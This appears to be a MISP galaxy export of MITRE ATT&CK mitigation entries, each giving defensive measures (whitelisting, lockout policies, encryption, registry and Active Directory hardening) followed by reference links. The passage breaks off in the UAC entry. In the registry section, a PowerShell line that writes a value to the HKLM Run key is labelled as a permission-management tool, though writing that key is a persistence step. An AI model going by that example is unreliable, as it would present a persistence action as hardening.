The tag is: *misp-galaxy:mitre-course-of-action="Credential Dumping Mitigation - T1003"*

Table 9289. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://adsecurity.org/?p=1729
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1003
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach
https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard
https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr
https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard
https://technet.microsoft.com/en-us/library/dn408187.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://technet.microsoft.com/library/jj865668.aspx

System Partition Integrity - M1004

Ensure that Android devices being used include and enable the Verified Boot capability, which cryptographically ensures the integrity of the system partition.

The tag is: *misp-galaxy:mitre-course-of-action="System Partition Integrity - M1004"*

Table 9290. Table References

Links
https://attack.mitre.org/mitigations/M1004

Network Sniffing Mitigation - T1040

Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.

Identify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Network Sniffing Mitigation - T1040"*

Table 9291. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1040
https://technet.microsoft.com/en-us/library/ee791851.aspx

New Service Mitigation - T1050

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new services.

Identify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="New Service Mitigation - T1050"*

Table 9292. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx

http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1050
https://technet.microsoft.com/en-us/library/ee791851.aspx

Fallback Channels Mitigation - T1008

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Fallback Channels Mitigation - T1008"*

Table 9293. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1008

Binary Padding Mitigation - T1009

Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Binary Padding Mitigation - T1009"*

Table 9294. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1009
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Encrypt Network Traffic - M1009

Application developers should encrypt all of their application network traffic using the Transport Layer Security (TLS) protocol to ensure protection of sensitive data and deter network-based attacks. If desired, application developers could perform message-based encryption of data before passing it for TLS encryption.

iOS's App Transport Security feature can be used to help ensure that all application network traffic is appropriately protected. Apple intends to mandate use of App Transport Security (Citation: TechCrunch-ATS) for all apps in the Apple App Store unless appropriate justification is given.

Android's Network Security Configuration feature similarly can be used by app developers to help ensure that all of their application network traffic is appropriately protected (Citation: Android-NetworkSecurityConfig).

Use of Virtual Private Network (VPN) tunnels, e.g. using the IPsec protocol, can help mitigate some types of network attacks as well.

The tag is: *misp-galaxy:mitre-course-of-action="Encrypt Network Traffic - M1009"*

Table 9295. Table References

Links
https://attack.mitre.org/mitigations/M1009
https://developer.android.com/training/articles/security-config.html
https://techcrunch.com/2016/06/14/apple-will-require-https-connections-for-ios-apps-by-the-end-of-2016/

Brute Force Mitigation - T1110

Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy can create a denial of service condition and render environments un-usable, with all accounts being locked-out permanently. Use multifactor authentication. Follow best practices for mitigating access to [Valid Accounts](https://attack.mitre.org/techniques/T1078)

Refer to NIST guidelines when creating passwords.(Citation: NIST 800-63-3)

Where possible, also enable multi factor authentication on external facing services.

The tag is: *misp-galaxy:mitre-course-of-action="Brute Force Mitigation - T1110"*

Table 9296. Table References

Links
https://attack.mitre.org/mitigations/T1110
https://pages.nist.gov/800-63-3/sp800-63b.html

Query Registry Mitigation - T1012

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Query Registry Mitigation - T1012"*

Table 9297. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1012
https://technet.microsoft.com/en-us/library/ee791851.aspx

Web Service Mitigation - T1102

Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Web Service Mitigation - T1102"*

Table 9298. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1102

Application Developer Guidance - M1013

Application Developer Guidance focuses on providing developers with the knowledge, tools, and best practices needed to write secure code, reduce vulnerabilities, and implement secure design principles. By integrating security throughout the software development lifecycle (SDLC), this mitigation aims to prevent the introduction of exploitable weaknesses in applications, systems, and APIs. This mitigation can be implemented through the following measures:

Preventing SQL Injection (Secure Coding Practice):

- Implementation: Train developers to use parameterized queries or prepared statements instead of directly embedding user input into SQL queries.
- Use Case: A web application accepts user input to search a database. By sanitizing and validating user inputs, developers can prevent attackers from injecting malicious SQL commands.

Cross-Site Scripting (XSS) Mitigation:

- Implementation: Require developers to implement output encoding for all user-generated content displayed on a web page.
- Use Case: An e-commerce site allows users to leave product reviews. Properly encoding and escaping user inputs prevents malicious scripts from being executed in other users' browsers.

Secure API Design:

- Implementation: Train developers to authenticate all API endpoints and avoid exposing sensitive information in API responses.
- Use Case: A mobile banking application uses APIs for account management. By enforcing token-based authentication for every API call, developers reduce the risk of unauthorized access.

Static Code Analysis in the Build Pipeline:

- Implementation: Incorporate tools into CI/CD pipelines to automatically scan for vulnerabilities during the build process.
- Use Case: A fintech company integrates static analysis tools to detect hardcoded credentials in their source code before deployment.

Threat Modeling in the Design Phase:

- Implementation: Use frameworks like STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege) to assess threats during application design.
- Use Case: Before launching a customer portal, a SaaS company identifies potential abuse cases, such as session hijacking, and designs mitigations like secure session management.

Tools for Implementation:

- Static Code Analysis Tools: Use tools that can scan for known vulnerabilities in source code.
- Dynamic Application Security Testing (DAST): Use tools like Burp Suite or OWASP ZAP to

simulate runtime attacks and identify vulnerabilities.

- Secure Frameworks: Recommend secure-by-default frameworks (e.g., Django for Python, Spring Security for Java) that enforce security best practices.

The tag is: *misp-galaxy:mitre-course-of-action="Application Developer Guidance - M1013"*

Table 9299. Table References

Links
https://attack.mitre.org/mitigations/M1013

AppInit DLLs Mitigation - T1103

Upgrade to Windows 8 or later and enable secure boot.

Identify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

The tag is: *misp-galaxy:mitre-course-of-action="AppInit DLLs Mitigation - T1103"*

Table 9300. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1103

Network Intrusion Prevention - M1031

Use intrusion detection signatures to block traffic at network boundaries.

The tag is: *misp-galaxy:mitre-course-of-action="Network Intrusion Prevention - M1031"*

Table 9301. Table References

Links
https://attack.mitre.org/mitigations/M1031

Port Monitors Mitigation - T1013

Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.

The tag is: *misp-galaxy:mitre-course-of-action="Port Monitors Mitigation - T1013"*

Table 9302. Table References

Links
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://attack.mitre.org/mitigations/T1013

Encrypt Sensitive Information - M1041

Protect sensitive information at rest, in transit, and during processing by using strong encryption algorithms. Encryption ensures the confidentiality and integrity of data, preventing unauthorized access or tampering. This mitigation can be implemented through the following measures:

Encrypt Data at Rest:

- Use Case: Use full-disk encryption or file-level encryption to secure sensitive data stored on devices.
- Implementation: Implement BitLocker for Windows systems or FileVault for macOS devices to encrypt hard drives.

Encrypt Data in Transit:

- Use Case: Use secure communication protocols (e.g., TLS, HTTPS) to encrypt sensitive data as it travels over networks.
- Implementation: Enable HTTPS for all web applications and configure mail servers to enforce STARTTLS for email encryption.

Encrypt Backups:

- Use Case: Ensure that backup data is encrypted both during storage and transfer to prevent unauthorized access.
- Implementation: Encrypt cloud backups using AES-256 before uploading them to Amazon S3 or Google Cloud.

Encrypt Application Secrets:

- Use Case: Store sensitive credentials, API keys, and configuration files in encrypted vaults.
- Implementation: Use HashiCorp Vault or AWS Secrets Manager to manage and encrypt secrets.

Database Encryption:

- Use Case: Enable Transparent Data Encryption (TDE) or column-level encryption in database management systems.
- Implementation: Use MySQL's built-in encryption features to encrypt sensitive database fields such as social security numbers.

The tag is: *misp-galaxy:mitre-course-of-action="Encrypt Sensitive Information - M1041"*

Table 9303. Table References

Links
https://attack.mitre.org/mitigations/M1041

Active Directory Configuration - M1015

Implement robust Active Directory (AD) configurations using group policies to secure user accounts, control access, and minimize the attack surface. AD configurations enable centralized control over account settings, logon policies, and permissions, reducing the risk of unauthorized access and lateral movement within the network. This mitigation can be implemented through the following measures:

Account Configuration:

- Implementation: Use domain accounts instead of local accounts to leverage AD's centralized management, including group policies, auditing, and access control.
- Use Case: For IT staff managing shared resources, provision domain accounts that allow IT teams to log in centrally, reducing the risk of unmanaged, rogue local accounts on individual machines.

Interactive Logon Restrictions:

- Implementation: Configure group policies to restrict interactive logons (e.g., direct physical or RDP logons) for service accounts or privileged accounts that do not require such access.
- Use Case: Prevent service accounts, such as SQL Server accounts, from having interactive logon privileges. This reduces the risk of these accounts being leveraged for lateral movement if compromised.

Remote Desktop Settings:

- Implementation: Limit Remote Desktop Protocol (RDP) access to specific, authorized accounts. Use group policies to enforce this, allowing only necessary users to establish RDP sessions.
- Use Case: On sensitive servers (e.g., domain controllers or financial databases), restrict RDP access to administrative accounts only, while all other users are denied access.

Dedicated Administrative Accounts:

- Implementation: Create domain-wide administrative accounts that are restricted from interactive logons, designed solely for high-level tasks (e.g., software installation, patching).
- Use Case: Create separate administrative accounts for different purposes, such as one set of accounts for installations and another for managing repository access. This limits exposure and helps reduce attack vectors.

Authentication Silos:

- Implementation: Configure Authentication Silos in AD, using group policies to create access zones with restrictions based on membership, such as the Protected Users security group. This restricts access to critical accounts and minimizes exposure to potential threats.
- Use Case: Place high-risk or high-value accounts, such as executive or administrative accounts, in an Authentication Silo with extra controls, limiting their exposure to only necessary systems. This reduces the risk of credential misuse or abuse if these accounts are compromised.

Tools for Implementation:

- Active Directory Group Policies: Use Group Policy Management Console (GPMC) to configure, deploy, and enforce policies across AD environments.
- PowerShell: Automate account configuration, logon restrictions, and policy application using PowerShell scripts.
- AD Administrative Center: Manage Authentication Silos and configure high-level policies for critical user groups within AD.

The tag is: *misp-galaxy:mitre-course-of-action="Active Directory Configuration - M1015"*

Table 9304. Table References

Links
https://attack.mitre.org/mitigations/M1015

Accessibility Features Mitigation - T1015

To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)

If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)

Identify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Accessibility Features Mitigation - T1015"*

Table 9305. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599

https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1015
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/cc731150.aspx
https://technet.microsoft.com/en-us/library/cc732713.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Plist Modification Mitigation - T1150

Prevent plist files from being modified by users by making them read-only.

The tag is: *misp-galaxy:mitre-course-of-action="Plist Modification Mitigation - T1150"*

Table 9306. Table References

Links
https://attack.mitre.org/mitigations/T1150

Systemd Service Mitigation - T1501

The creation and modification of systemd service unit files is generally reserved for administrators such as the Linux root user and other users with superuser privileges. Limit user access to system utilities such as systemctl to only users who have a legitimate need. Restrict read/write access to systemd unit files to only select privileged users who have a legitimate need to manage system services. Additionally, the installation of software commonly adds and changes systemd service unit files. Restrict software installation to trusted repositories only and be cautious of orphaned software packages. Utilize malicious code protection and application whitelisting to mitigate the ability of malware to create or modify systemd services.

The tag is: *misp-galaxy:mitre-course-of-action="Systemd Service Mitigation - T1501"*

Table 9307. Table References

Links
https://attack.mitre.org/mitigations/T1501

Shared Webroot Mitigation - T1051

Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.

Ensure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on

directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. (Citation: acunetix Server Secuirty) (Citation: NIST Server Security July 2008)

The tag is: *misp-galaxy:mitre-course-of-action="Shared Webroot Mitigation - T1051"*

Table 9308. Table References

Links
https://attack.mitre.org/mitigations/T1051
https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-123.pdf
https://www.acunetix.com/websitesecurity/webserver-security/

Launch Daemon Mitigation - T1160

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.

The tag is: *misp-galaxy:mitre-course-of-action="Launch Daemon Mitigation - T1160"*

Table 9309. Table References

Links
https://attack.mitre.org/mitigations/T1160

File Deletion Mitigation - T1107

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="File Deletion Mitigation - T1107"*

Table 9310. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1107

https://technet.microsoft.com/en-us/library/ee791851.aspx

User Account Management - M1018

User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:

Enforcing the Principle of Least Privilege

- Implementation: Assign users only the minimum permissions required to perform their job functions. Regularly audit accounts to ensure no excess permissions are granted.
- Use Case: Reduces the risk of privilege escalation by ensuring accounts cannot perform unauthorized actions.

Implementing Strong Password Policies

- Implementation: Enforce password complexity requirements (e.g., length, character types). Require password expiration every 90 days and disallow password reuse.
- Use Case: Prevents adversaries from gaining unauthorized access through password guessing or brute force attacks.

Managing Dormant and Orphaned Accounts

- Implementation: Implement automated workflows to disable accounts after a set period of inactivity (e.g., 30 days). Remove orphaned accounts (e.g., accounts without an assigned owner) during regular account audits.
- Use Case: Eliminates dormant accounts that could be exploited by attackers.

Account Lockout Policies

- Implementation: Configure account lockout thresholds (e.g., lock accounts after five failed login attempts). Set lockout durations to a minimum of 15 minutes.
- Use Case: Mitigates automated attack techniques that rely on repeated login attempts.

Multi-Factor Authentication (MFA) for High-Risk Accounts

- Implementation: Require MFA for all administrative accounts and high-risk users. Use MFA mechanisms like hardware tokens, authenticator apps, or biometrics.
- Use Case: Prevents unauthorized access, even if credentials are stolen.

Restricting Interactive Logins

- Implementation: Restrict interactive logins for privileged accounts to specific secure systems or management consoles. Use group policies to enforce logon restrictions.

- Use Case: Protects sensitive accounts from misuse or exploitation.

Tools for Implementation

Built-in Tools:

- Microsoft Active Directory (AD): Centralized account management and RBAC enforcement.
- Group Policy Object (GPO): Enforce password policies, logon restrictions, and account lockout policies.

Identity and Access Management (IAM) Tools:

- Okta: Centralized user provisioning, MFA, and SSO integration.
- Microsoft Azure Active Directory: Provides advanced account lifecycle management, role-based access, and conditional access policies.

Privileged Account Management (PAM): - CyberArk, BeyondTrust, Thycotic: Manage and monitor privileged account usage, enforce session recording, and JIT access.

The tag is: *misp-galaxy:mitre-course-of-action="User Account Management - M1018"*

Table 9311. Table References

Links
https://attack.mitre.org/mitigations/M1018

Redundant Access Mitigation - T1108

Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Redundant Access Mitigation - T1108"*

Table 9312. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599

https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1108
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Component Firmware Mitigation - T1109

Prevent adversary access to privileged accounts or access necessary to perform this technique.

Consider removing and replacing system components suspected of being compromised.

The tag is: *misp-galaxy:mitre-course-of-action="Component Firmware Mitigation - T1109"*

Table 9313. Table References

Links
https://attack.mitre.org/mitigations/T1109

System Firmware Mitigation - T1019

Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)

The tag is: *misp-galaxy:mitre-course-of-action="System Firmware Mitigation - T1019"*

Table 9314. Table References

Links
http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf
https://attack.mitre.org/mitigations/T1019

Threat Intelligence Program - M1019

A Threat Intelligence Program enables organizations to proactively identify, analyze, and act on cyber threats by leveraging internal and external data sources. The program supports decision-making processes, prioritizes defenses, and improves incident response by delivering actionable intelligence tailored to the organization's risk profile and operational environment. This mitigation can be implemented through the following measures:

Establish a Threat Intelligence Team:

- Form a dedicated team or assign responsibility to existing security personnel to collect, analyze, and act on threat intelligence.

Define Intelligence Requirements:

- Identify the organization's critical assets and focus intelligence gathering efforts on threats targeting these assets.

Leverage Internal and External Data Sources:

- Collect intelligence from internal sources such as logs, incidents, and alerts. Subscribe to external threat intelligence feeds, participate in ISACs, and monitor open-source intelligence (OSINT).

Implement Tools for Automation:

- Use threat intelligence platforms (TIPs) to automate the collection, enrichment, and dissemination of threat data.
- Integrate threat intelligence with SIEMs to correlate IOCs with internal events.

Analyze and Act on Intelligence:

- Use frameworks like MITRE ATT&CK to map intelligence to adversary TTPs.
- Prioritize defensive measures, such as patching vulnerabilities or deploying IOCs, based on analyzed threats.

Share and Collaborate:

- Share intelligence with industry peers through ISACs or threat-sharing platforms to enhance collective defense.

Evaluate and Update the Program:

- Regularly assess the effectiveness of the threat intelligence program.
- Update intelligence priorities and capabilities as new threats emerge.

Tools for Implementation

Threat Intelligence Platforms (TIPs):

- OpenCTI: An open-source platform for structuring and sharing threat intelligence.
- MISP: A threat intelligence sharing platform for sharing structured threat data.

Threat Intelligence Feeds:

- Open Threat Exchange (OTX): Provides free access to a large repository of threat intelligence.
- CIRCL OSINT Feed: A free source for IOCs and threat information.

Automation and Enrichment Tools:

- TheHive: An open-source incident response platform with threat intelligence integration.
- Yeti: A platform for managing and structuring knowledge about threats.

Analysis Frameworks:

- MITRE ATT&CK Navigator: A tool for mapping threat intelligence to adversary behaviors.
- Cuckoo Sandbox: Analyzes malware to extract behavioral indicators.

Community and Collaboration Tools:

- ISAC Memberships: Join industry-specific ISACs for intelligence sharing.
- Slack/Discord Channels: Participate in threat intelligence communities for real-time collaboration.

The tag is: *misp-galaxy:mitre-course-of-action="Threat Intelligence Program - M1019"*

Table 9315. Table References

Links
https://attack.mitre.org/mitigations/M1019

Data Encrypted Mitigation - T1022

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Data Encrypted Mitigation - T1022"*

Table 9316. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1022
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Shortcut Modification Mitigation - T1023

Limit permissions for who can create symbolic links in Windows to appropriate groups such as

Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)

Identify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Shortcut Modification Mitigation - T1023"*

Table 9317. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1023
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2015-06-25/finding/V-26482

User Execution Mitigation - T1204

Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.

If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .lnk, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and RAR that may be used to conceal malicious files in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).

If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.

The tag is: *misp-galaxy:mitre-course-of-action="User Execution Mitigation - T1204"*

Table 9318. Table References

Links
https://attack.mitre.org/mitigations/T1204

Restrict Registry Permissions - M1024

Restricting registry permissions involves configuring access control settings for sensitive registry keys and hives to ensure that only authorized users or processes can make modifications. By limiting access, organizations can prevent unauthorized changes that adversaries might use for persistence, privilege escalation, or defense evasion. This mitigation can be implemented through the following measures:

Review and Adjust Permissions on Critical Keys

- Regularly review permissions on keys such as `Run`, `RunOnce`, and `Services` to ensure only authorized users have write access.
- Use tools like `icacls` or `PowerShell` to automate permission adjustments.

Enable Registry Auditing

- Enable auditing on sensitive keys to log access attempts.
- Use Event Viewer or SIEM solutions to analyze logs and detect suspicious activity.
- Example Audit Policy: `auditpol /set /subcategory:"Registry" /success:enable /failure:enable`

Protect Credential-Related Hives

- Limit access to hives like `SAM`,`SECURITY`, and `SYSTEM` to prevent credential dumping or other unauthorized access.
- Use LSA Protection to add an additional security layer for credential storage.

Restrict Registry Editor Usage

- Use Group Policy to restrict access to regedit.exe for non-administrative users.
- Block execution of registry editing tools on endpoints where they are unnecessary.

Deploy Baseline Configuration Tools

- Use tools like Microsoft Security Compliance Toolkit or CIS Benchmarks to apply and maintain secure registry configurations.

Tools for Implementation

Registry Permission Tools:

- Registry Editor (regedit): Built-in tool to manage registry permissions.
- PowerShell: Automate permissions and manage keys. `Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "KeyName" -Value "Value"`
- icacls: Command-line tool to modify ACLs.

Monitoring Tools:

- Sysmon: Monitor and log registry events.

- Event Viewer: View registry access logs.

Policy Management Tools:

- Group Policy Management Console (GPMC): Enforce registry permissions via GPOs.
- Microsoft Endpoint Manager: Deploy configuration baselines for registry permissions.

The tag is: *misp-galaxy:mitre-course-of-action="Restrict Registry Permissions - M1024"*

Table 9319. Table References

Links
https://attack.mitre.org/mitigations/M1024

User Account Control - M1052

User Account Control (UAC) is a security feature in Microsoft Windows that prevents unauthorized changes to the operating system. UAC prompts users to confirm or provide administrator credentials when an action requires elevated privileges. Proper configuration of UAC reduces the risk of privilege escalation attacks. This mitigation can be implemented through the following measures:

Enable UAC Globally:

- Ensure UAC is enabled through Group Policy by setting `User Account Control: Run all administrators in Admin Approval Mode` to `Enabled`.

Require Credential Prompt:

- Use Group Policy to configure UAC to prompt for administrative credentials instead of just confirmation (`User Account Control: Behavior of the elevation prompt`).

Restrict Built-in Administrator Account:

